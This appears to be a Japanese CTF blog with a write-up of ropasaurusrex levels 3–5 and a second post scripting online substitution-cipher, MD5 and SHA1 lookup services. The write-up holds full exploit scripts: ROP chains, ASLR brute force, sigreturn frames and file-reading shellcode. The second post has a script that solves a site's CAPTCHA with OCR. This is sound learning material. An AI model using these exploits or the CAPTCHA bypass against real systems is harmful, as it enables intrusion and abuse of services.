mprotect を実行する際のアドレスは、最初は末尾3ビットが"000"以外のところからやろうとしたら失敗していたため試行錯誤した。
0x1000単位で実行してみるとうまく書き換わったため、ひとつ新しい発見になった。

[root@ubuntu] # python exploit3.py r
input "dir" or "file"
dir
[+] connect to remote.
[+] libc_write addr   : f764ac50
[+] libc_base addr    : f7570000
[+] libc_mprotect addr: f76570d0
..
.
ropasaurusrex3
flag_1170037582419425558
lib
timeout
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***
[root@ubuntu] # 
[root@ubuntu] # 
[root@ubuntu] # python exploit3.py r
input "dir" or "file"
file
[+] connect to remote.
[+] libc_write addr   : f7636c50
[+] libc_base addr    : f755c000
[+] libc_mprotect addr: f76430d0
flag{omg!the_ropasaurusrex3_with_chroot_has_solved!?congrats!!}
*** Connection closed by remote host ***
[root@ubuntu] # 

ropasaurusrex4

Level4は、Level3に加え、さらに call write() と write@plt が潰されており、libcの情報をリークできない。
また、今回のバイナリはxinetd型で動いているため、ASLRの影響で接続する度にアドレス配置が変わる。
x86のASLRは以前にもBrute Forceで突破して解いたことがあったため、これはピンときた。
これまでに解いた ropasaurusrex について、以下のようなスクリプトを実行し libc のベースアドレスをいくつか見てみる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1028)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	plt_write = 0x804830c
	got_write = 0x8049614
	offset_write = 0x000dac50

	buf = "A"*140
	# write(STDOUT, got_write, 4)
	buf += p(plt_write)
	buf += "AAAA"
	buf += p(1)
	buf += p(got_write)
	buf += p(4)

	f.write(buf)
	libc_write = u(f.read(4))

	print "[+] libc_base addr    :", format(libc_write - offset_write, 'x')

if __name__ == '__main__':
	main(sys.argv)

結果(抜粋)

[+] libc_base addr    : f7592000
[+] libc_base addr    : f75e8000
[+] libc_base addr    : f7566000
[+] libc_base addr    : f75db000
[+] libc_base addr    : f755d000
[+] libc_base addr    : f75e4000
[+] libc_base addr    : f7613000
[+] libc_base addr    : f75bf000
[+] libc_base addr    : f7543000
[+] libc_base addr    : f75dd000

x86では、ランダマイズされるアドレス空間が狭い。
例えば、上記結果を見ると左から2bitは固定、3bit目も"5" か "6" のみである。また、末尾3bitも"000"で固定のため、今回はBruteForceでの突破のアプローチで攻める。
BruteForce実施時の libc_base は、上記のうち最小と最大のものの中間値(0xf75ab000)に固定し、読み出せるまでスクリプトを回した。
なお、GOT のアドレスは書き換える手間がないので、.bssに詰むものはシンプルになる。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	return s, s.makefile('rw', bufsize=0)

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I",a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	# linux/x86/read-dir(STDOUT)
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	# linux/x86/read-file(STDOUT)
	readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_326175712236627770"

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	plt_libc_start_main = 0x0804831C
	got_libc_start_main = 0x08049618
	plt_read = 0x804832c
	p3ret = 0x80484b6
	offset_mprotect = 0x000e70d0
	bss = 0x08049628 + 0x270
	mprotect_to = 0x08049000
	leave = 0x080482ea

	# guess
	libc_base = 0xf75ab000
	libc_mprotect = libc_base + offset_mprotect

	i = 1
	while True:
		if(len(argv) == 2 and argv[1] == 'r'):
			print "[+] connect to remote."
			s, f = sock("XXXXXXXXXX", 1028)
		else:
			print "[+] connect to local."
			s, f = sock("127.0.0.1", 1025)

		print "[+] %d..." % i

		buf = "A"*136
		buf += p(bss-4)
		# read(STDIN, bss, 40) for stack pivot
		buf += p(plt_read)
		buf += p(leave)
		buf += p(0)
		buf += p(bss)
		buf += p(40)
		# read(STDIN, bss+40, len(shellcode))
		buf2 = p(plt_read)
		buf2 += p(p3ret)
		buf2 += p(0)
		buf2 += p(bss+40)
		buf2 += p(len(shellcode))
		# mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC)
		buf2 += p(libc_mprotect)
		buf2 += p(bss+40)
		buf2 += p(mprotect_to)
		buf2 += p(0x1000)
		buf2 += p(7)

		f.write(buf)
		f.write(buf2)

		f.write(shellcode)

		shell(s)
		i += 1

if __name__ == '__main__':
	main(sys.argv)

これでLevel4についてもflagが取得できた。

[root@ubuntu] # python exploit4.py r
input "dir" or "file"
dir
[+] connect to remote.
[+] 1...
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***

(snip)

[+] connect to remote.
[+] 260...
..
ropasaurusrex4
.
flag_326175712236627770
lib
timeout
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***
[+] connect to remote.
[+] 261...
^CTraceback (most recent call last):
  File "exploit4-2.py", line 92, in <module>
    main(sys.argv)
  File "exploit4-2.py", line 88, in main
    shell(s)
  File "exploit4-2.py", line 14, in shell
    t.interact()
  File "/usr/lib/python2.7/telnetlib.py", line 590, in interact
    rfd, wfd, xfd = select.select([self, sys.stdin], [], [])
[root@ubuntu] 
[root@ubuntu] 
[root@ubuntu] # python exploit4.py r
input "dir" or "file"
file
[+] connect to remote.
[+] 1...
E: Child terminated by signal ‘Segmentation fault’
*** Connection closed by remote host ***

(snip)

[+] connect to remote.
[+] 107...
flag{32bit_library_aslr_is_very_weak_so_you_can_defeat_the_ropasaurusrex4!}
*** Connection closed by remote host ***
[+] connect to remote.
[+] 108...
^CTraceback (most recent call last):
  File "exploit4-2.py", line 92, in <module>
    main(sys.argv)
  File "exploit4-2.py", line 88, in main
    shell(s)
  File "exploit4-2.py", line 14, in shell
    t.interact()
  File "/usr/lib/python2.7/telnetlib.py", line 590, in interact
    rfd, wfd, xfd = select.select([self, sys.stdin], [], [])
KeyboardInterrupt
[root@ubuntu] 

ropasaurusrex5

Level5.
bataさん曰く、「libcは甘え」らしい(「libcは甘え」らしいorz)

f:id:f_rin:20150712045810p:plain

libcを使わずにExploitをしなければならない。
今のところまだ解法が思いついていないので、今日の夜までに頑張ってみようと思う。
サーバが落ちた後でも、ローカルでできたら追記する予定。

追記:
Level5も解けたため追記。
Level5は、offset 128 bytes から Return address を書き換え可能。
最初は.text領域のROP芸のみでmprotectのシステムコールを呼び出しシェルコードを実行しようとしていたが、ROPガジェットが足りない。
ここでやり方を見直し(時間かかった…)、sigreturn を呼び出すことで全レジスタの値をStackから復元できることに気付く。

sigreturnが呼び出された際には、Stack上の値を複数レジスタに復元することができる。
このときの構造は、sigcontext構造体の定義のとおりとなる。
なお、システムコール番号はこちらを参照した。

よって、sigreturnを呼び、そのあとは Level3,4 と同じくmprotectを発生させてコードインジェクションというアプローチにする。

Level3のときのmprotect呼び出し直前のレジスタの状態を見てみると以下のとおり。基本はこれに従ってsigcontextの中身を構築する

gdb-peda$ i reg
eax            0x7d         # システムコール番号
ecx            0x1000       # サイズ
edx            0x7          # RWX
ebx            0x8049000    # 開始したい場所
esp            0x80498c4
ebp            0x80498c4
esi            0x0
edi            0x8049614
eip            0xf7fdb425
eflags         0x207
cs             0x23
ss             0x2b
ds             0x2b
es             0x2b
fs             0x0
gs             0x63

しかし最初のsigreturn呼び出し時のeax(システムコール番号)のセット方法がよくわからない。
ここで他の人の解法を参照してみると、Write関数で119文字書き込めると戻り値で119がセットされることがわかる。頭いい…

これを利用し、
write → sigreturn → mprotect → read(shellcode流し込み)→ shellcode の順番に呼び出すことにする。

Level5は、256文字入力可能なため、mprotect発動までに利用できる領域は128bytes分である。
また、sigreturn時にespも書き換わるため、このときにRWX可能な箇所にStack Pivotする。
mprotect後のリターンアドレスは、vuln関数へのポインタとなっているアドレスを指定し、ret2vulnにて再度read関数を実行させる。
このreadで、RWX可能且つ使われていない領域にシェルコードを流し込み、実行する。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys, socket, struct, telnetlib, time

###################### useful function definition
def sock(remoteip, remoteport):
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((remoteip, remoteport))
	f = s.makefile('rw', bufsize=0)
	return s, f

def shell(s):
	t = telnetlib.Telnet()
	t.sock = s
	t.interact()

def p(a): return struct.pack("<I", a)
def u(a): return struct.unpack("<I",a)[0]
###################### main

def main(argv):
	readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00"
	readfile = '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff'+'/flag'

	mode = raw_input('input "dir" or "file"\n')
	if(mode == 'dir'):
		shellcode = readdir
	elif(mode == 'file'):
		shellcode = readfile
	else:
		print 'exit.\n'
		quit()

	if(len(argv) == 2 and argv[1] == 'r'):
		print "[+] connect to remote."
		s, f = sock("XXXXXXXXXX", 1029)
	else:
		print "[+] connect to local."
		s, f = sock("127.0.0.1", 1025)

	write_addr = 0x80480d2
	read_addr = 0x80480b8
	text_base = 0x8048000
	int80ret = 0x80480cf
	func_vuln = 0x8048468
	shellcode_addr = 0x8048600

	buf = 'A' * 128
	# mov eax, 119; int 0x80; ret;
	buf += p(write_addr)
	buf += p(int80ret)
	buf += p(1)              # STDOUT,                also gs
	buf += p(text_base)      # write addr,            also fs
	buf += p(119)            # sigreturn syscall num, also es
	# struct sigframe
	buf += p(0x2b)           # ds            from i reg
	buf += p(0)              # edi           not used
	buf += p(0)              # esi           from i reg
	buf += p(0)              # ebp           Null
	buf += p(func_vuln)      # esp           Stack Pivot addr(return addr)
	buf += p(text_base)      # ebx           mprotect to
	buf += p(7)              # edx           PROT_READ|PROT_WRITE|PROT_EXEC
	buf += p(0x1000)         # ecx           size(0x1000)
	buf += p(0x7d)           # eax           system call num(0x7d)
	buf += p(0)              # trapno        Null
	buf += p(0)              # err           Null
	buf += p(int80ret)       # eip           int 0x80; ret;
	buf += p(0x23)           # cs/__csh      from i reg
	buf += p(0x207)          # eflags        from i reg
	buf += p(0)              # esp_at_signal Null
	buf += p(0x2b)           # ss/__ssh      from i reg
	buf += p(0)              # &fpstate      Null
	buf += p(0)              # oldmask       Null
	buf += p(0)              # cr2           Null

	# read(STDIN, tmp addr, len(shellcode))
	buf2 = 'A' * 128
	buf2 += p(read_addr)
	buf2 += p(shellcode_addr)
	buf2 += p(0)
	buf2 += p(shellcode_addr)
	buf2 += p(len(shellcode))

	f.write(buf)
	time.sleep(0.5)
	f.write(buf2)
	f.write(shellcode)

	shell(s)

if __name__ == '__main__':
	main(sys.argv)

途中どうしてもうまくいかず悩んでいたが、bufとbuf2を送り込む前にsleepを入れると想定通りの挙動となった。
今回の攻略は、リモートサーバが停止していたためローカルにて実施。chrootは実施していないためローカルの / 配下が表示されていることがわかる。

[root@ubuntu] # python exploit5.py
input "dir" or "file"
dir
[+] connect to local.
WIN
ELFF�4l4 (	���������$$Q�tWIN
libx32
opt
tmp
srv
home
..
.
var
usr
sbin
cdrom
lib32
media
run
vmlinuz
proc
lib
mnt
bin
sys
dev
boot
initrd.img
etc
root
lost+found
lib64
*** Connection closed by remote host ***
[root@ubuntu] #

sigreturn強い…。x64でもこれは使えそうだ。



それにしても独学でやってきたBOFについて、ここまで丁寧に説明してもらえたことは今までのCTF活動の中で一番と言ってよいほど有意義だったと思う。
このごろ燻ぶっていたけれど、久しぶりにやる気に火がついた気がした。

まだ学ぶことも多いし、周りのスピードも信じられないぐらい早い。
そんな中でも、こんなに良いきっかけを与えたくれたkatagaitaiや運営の方々には大変感謝したい。
今年中には、もっと高いところから取り組めるよう、また外に向かって良い貢献ができるよう、精進していこうと強く思う。

オンライン暗号解析サービスを呼び出して使ってみる

簡易な暗号やハッシュ値の解析は、オンラインのサービスが充実しているところが多い。
独自に解析プログラムを書くときもあるが、もともとオンラインで用意されてるものを使ってしまうこともある。
特にハッシュのデータベースなんかは自分で集めるよりも遥かに楽だと思っている。

ということで、利用時にはブラウザを立ち上げ、お気に入りからサイトに飛び、暗号文字やハッシュ値を入力後に(必要ならCAPTCHAを入力して)ボタンを押す動作をしなければならない。
APIを公開しているサイトならば良いのだけど、そういうサイトは多くないので、今回はいくつかのサイトに対してスクリプトから結果を取りに行くことを試してみた。

換字暗号

これは言わずと知れたquipquipが有名だ。
簡単な換字暗号を解くときにはお世話になっている。

f:id:f_rin:20150329184719p:plain

文字種はアルファベットだけだが、指定するmodeによってスペースの位置も検知してくれる。
サイトを解析するとPostで値を送信しているが、getメソッドでも結果を返してくれるように作ってあるため、クエリストリングを構築して呼んでやるだけで答えが返ってくる。親切な設計だ。

ブラウザから行かなくても良いように、アクセスして結果を返してくれるスクリプトを書いてみた。
といっても、アクセスして返却されたhtmlから該当文字列を抜き出すだけ。

#!/usr/bin/env python

import sys, urllib2

def decrypt_online(encoded, mode, clues):
	url = 'http://quipqiup.com/index.php?ciphertext=%22'
	url = url + urllib2.quote(encoded) + '%22&mode=' + mode + '&clues=' + clues + '&action=Solve'
	try:
		response = urllib2.urlopen(url)
	except urllib2.HTTPError, e:
		print 'http error:', e.code, e.reason
		quit()

	for line in response.read().split('\n'):
		if line.startswith('<script>solsum(0,'):
			return line.split('"')[1][1:-1]
	return ''

def main(argv):
	if(len(argv) != 2):
		print 'Usage: # python %s "Substitution cipher text"' % argv[0]
		quit()

	mode = raw_input('input mode.\nTrust spaces (Cryptogram mode): 1\nFind spaces (Patristocrat mode): 2\nAuto-detect puzzle type: 3\n>> ')
	if mode not in ['1','2','3']:
		print 'input 1 ~ 3'
		quit()
	clues = urllib2.quote(raw_input('input clues if you already know(ex: "X=T M=Y"): '))

	decoded = decrypt_online(argv[1], mode, clues)

	if '' == decoded: print 'cannot decrypt.'
	else: print decoded

if __name__ == '__main__':
	main(sys.argv)

少し時間はかかるようだがコマンドラインで作業しているときに呼び出せるのはありがたい。

[root@kali] # ./dec_substitution.py "TLIOU FOIIK VDTDI VYIOI OCOPJ TFSTD IJXNP FJDRO BVNNO PCOYO VCBKI JXNPT D"
input mode.
Trust spaces (Cryptogram mode): 1
Find spaces (Patristocrat mode): 2
Auto-detect puzzle type: 3
>> 3
input clues if you already know(ex: "X=T M=Y"): 
IF WE KNEW WHAT IT WAS WE WERE DOING IT WOULD NOT BECALLED RESEARCH WOULD IT

すでにわかっている文字があれば、Solverに与えることもできる。

[root@kali] # ./dec_substitution.py "PG XOYHLM XOYLY PZ GH TPUUYLYGRY EYXBYYG XOYHLM WGT JLWRXPRY. PG JLWRXPRY, XOYLY PZ."
input mode.
Trust spaces (Cryptogram mode): 1
Find spaces (Patristocrat mode): 2
Auto-detect puzzle type: 3
>> 3
input clues if you already know(ex: "X=T M=Y"): X=T M=Y
IN THEORY THERE IS NO DIFFERENCE BETWEEN THEORY AND PRACTICE. IN PRACTICE, THERE IS.

数秒の時間がかかることがネックになることがあれば、個別にSolverを作ったほうが良いかもしれない。

MD5ハッシュ

MD5は以前使っていたサイトが閉鎖されていたり重いサイトが多かったりして、なかなか「ここを使おう」というところがない。
今回はGoogleで検索して出てきたものをいくつか使ってみた。
一般的な英単語は大差はなくても、日本語の名詞などはサイトによって載ってたり載ってなかったりしている(まぁ同じデータベース使っているわけがないのでそうだけど)。

いくつかスクリプトを作って試してみた中だとここがサイトの作りも簡単で安定していた。

#!/usr/bin/env python

import urllib, urllib2, sys, re

def abstStr(string, splitter, search):
	sep = string.split(splitter, 1)[1]
	m = re.search(search, sep)
	return m.group(0)

def main(argv):
	if(len(argv) != 2):
		print 'Usage: # python %s md5text' % argv[0]
		quit()
	elif(len(argv[1]) != 32):
		print 'please input md5text(length==32).'
		quit()

	url = 'http://md5decryption.com/'

	# post data
	formdata = {
		'hash':argv[1],
		'submit':'Decrypt It!'
	}
	formdata = urllib.urlencode(formdata)
	req = urllib2.Request(url)
	req.add_data(formdata)

	try:
		res = urllib2.urlopen(req)
		res = res.read()
		if 'Decrypted Text: </b>' in res:
			res = res.split('Decrypted Text: </b>', 1)[1]
			res = res.split('</font>', 1)[0]
			print argv[1] + ' is:', res
		elif "Sorry, this MD5 hash wasn't found in our database" in res:
			print argv[1] + ': Not Found'
		else:
			print 'something error'
	except urllib2.HTTPError, e:
		print 'http error:', e.code, e.reason

if __name__ == '__main__':
	main(sys.argv)

ここはレスポンスも1sec未満ぐらいだし、簡単なMD5の元値を調べるには便利そうだ。

[root@kali] # ./dec_md5.py 098f6bcd4621d373cade4e832627b4f6
098f6bcd4621d373cade4e832627b4f6 is: test

せっかくなら少しでも多くのデータを持ってるサイトでやりたいけど、それってどこなんだろう…
やっぱりググって上のほうに出てくるサイトなのかな。

CAPTCHAのあるサイト

ということでGoogle検索で上のほうに出てくるサイトを見てくるとHASHKILLERなんかがヒットする。
ためしにSHA1のデータベース総量の説明を見ると、"We have a total of just over 43.745 billion unique decrypted SHA1 hashes"とのこと。すごい。
他にもMD5やNTLMもデータベースを持っており解析に有用だが、下部にCAPTCHAを入力する欄がある。

f:id:f_rin:20150329193553p:plain

HTML構造を見ると、ランダム値がhidden項目が複数生成されていたりしてちょっと複雑。
また、アクセス時にUser-Agentヘッダがないと403 Forbiddenになり、利用には工夫が必要だ。
CAPTCHAはぐちゃぐちゃってなっているノイズを消してやれれば良さそう。PILを使って赤色の閾値を取り2値化してみた。

f:id:f_rin:20150331032510p:plain

その後python-tesseractを使って読んでみると、たまに文字認識できないときがあるけど、何度か試せばいけそう。

#!/usr/bin/env python

import tesseract, cookielib, urllib, urllib2, os, sys, re
from PIL import Image

def editColorChannel(inputfile):
	img1 = Image.open(inputfile).convert('RGB')
	# get pixel size
	pixelSizeTuple = img1.size
	img2 = Image.new('RGB', img1.size)

	# edit color
	for i in range(pixelSizeTuple[0]):
		for j in range(pixelSizeTuple[1]):
			r,g,b = img1.getpixel((i,j))
			if (r < 115):
				img2.putpixel((i,j), (0,0,0))
			else:
				img2.putpixel((i,j), (255,255,255)) 
	img2.save(inputfile)

def readchar(inputfile):
	api = tesseract.TessBaseAPI()
	api.Init('.', 'eng', tesseract.OEM_DEFAULT)
	api.SetVariable('tessedit_char_whitelist', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ')
	api.SetPageSegMode(tesseract.PSM_SINGLE_WORD)

	mBuffer = open(inputfile, 'rb').read()
	return tesseract.ProcessPagesBuffer(mBuffer,len(mBuffer),api)

def abstStr(string, splitter, search):
	sep = string.split(splitter, 1)[1]
	m = re.search(search, sep)
	return m.group(0)

def main(argv):
	if(len(argv) != 2):
		print 'Usage: # python %s sha1text' % argv[0]
		quit()
	elif(len(argv[1]) != 40):
		print 'please input sha1text(length==40).'
		quit()

	trials = 3	# try 3times
	baseurl = 'http://www.hashkiller.co.uk/'
	imgname = 'capt.ashx?d='
	pageurl = 'sha1-decrypter.aspx'

	for i in range(trials):
		# get html
		cj = cookielib.CookieJar()
		opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
		# avoid 403 Forbidden
		opener.addheaders = [('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0')]

		r = opener.open(baseurl+pageurl)
		html = r.read()

		# get picture
		imgnum = abstStr(html, imgname, '\d*\.\d*')
		filename = imgnum+'.jpg'
		f = open(filename, 'wb')
		r = opener.open(baseurl+imgname+imgnum)
		f.write(r.read())
		f.close()

		# edit img
		editColorChannel(filename)

		# ocr
		txtCaptcha = readchar(filename).translate(None, ' \n')
		txtCaptcha = txtCaptcha.replace(' ','')
		os.system('rm -f ' + filename)
		#print 'captcha:', txtCaptcha

		# post data
		viewstate = abstStr(html, 'id="__VIEWSTATE" value="', '[a-zA-Z0-9+_=/]*')
		eventval = abstStr(html, 'id="__EVENTVALIDATION" value="', '[a-zA-Z0-9+_=/]*')
		formdata = {
			'ctl00$ScriptMan1':'ctl00$content1$updDecrypt|ctl00$content1$btnSubmit',
			'__EVENTTARGET':'',
			'__EVENTARGUMENT':'',
			'__VIEWSTATE':viewstate,
			'__EVENTVALIDATION':eventval,
			'ctl00$content1$txtInput':argv[1],
			'ctl00$content1$txtCaptcha':txtCaptcha,
			'__ASYNCPOST':'true',
			'ctl00$content1$btnSubmit':'Submit'
		}
		data_encoded = urllib.urlencode(formdata)
		response = opener.open(baseurl+pageurl, data_encoded)
		res = response.read()

		if '[Not found]' in res:
			print argv[1] + ': Not Found'
			break
		elif('<span class="text-green">' in res):
			res = res.split('<span class="text-green">', 1)[1]
			res = res.split('</span>', 1)[0]
			print argv[1] + ' is:', res
			break
		elif(i > 1):
			print 'failed to solve captcha',

		print '.',

if __name__ == '__main__':
	main(sys.argv)

これでsha1の元の値までは見れるようになった。

[root@kali] # ./dec_sha1.py 451dcf9913bf3b329c05c2a46ad555eeae267ba8
451dcf9913bf3b329c05c2a46ad555eeae267ba8 is: sushi

たまに突破できないが、簡単なCAPTCHAの解析やワンタイムトークンを生成しているサイトぐらいは割とすぐにスクリプトから呼び出して利用できることがわかった。

オンラインサービス利用の利点・欠点

いくつかのサイトを利用しながら、オンラインサービスを使うメリット・デメリットを考えてみた。

メリット

  • 自分でレインボーテーブルを揃えたり暗号解読ロジックを書かなくても、ネットに繋ぐだけで簡単に利用できる
  • あるサイトでdecryptできなくても、他のサイトではdecryptできたりして、色んなサイトを試すことでHIT率が簡単に上がる

デメリット

  • (当たり前だが)落ちていると使えない。あるサイトはCTFがある日に高確率で落ちていることもあり、何かの陰謀なんじゃないかと思うこともある
  • Solverに負荷をかけるような使い方ができない(したくないし、公開側もされたくないだろう)
  • あとは、それほど気にする必要はないけどネット環境に繋がらないと使えない、ぐらいか

上述の特性を踏まえ、時間があるときに次のようなことをしておこうかと思った。どれもハッシュの元の値を求めたりするときを想定している。

  • オンラインサイトを利用する場合
    • あるサイトに繋がらなかったり結果が見つからなくても、他の複数のサイトも見にいくようにすることでヒット率を上げる
  • オンラインサイトを利用しない手段
    • デメリットで上げたとおり、落ちていたら利用ができないので自前でもこういうものを用意してしまう。さっきのHASHKILLERにもWordlistが転がっていたり、色んなところにパスワードリストがあるので、これらを使って自前でDBを作っておく。もちろん悪用しない前提であり、させないように公開もしないのが望ましい。

ということで、作ったものの公開はできないだろうと思うけど、こういうものを作ってみるのは勉強にもなりそうだと思った。
Wordlistを集めているときに、「あ、こういうパスワード使っちゃうとヤバいんだな」とかの発見もありそうだし、身になることがあればまた書こうと思う。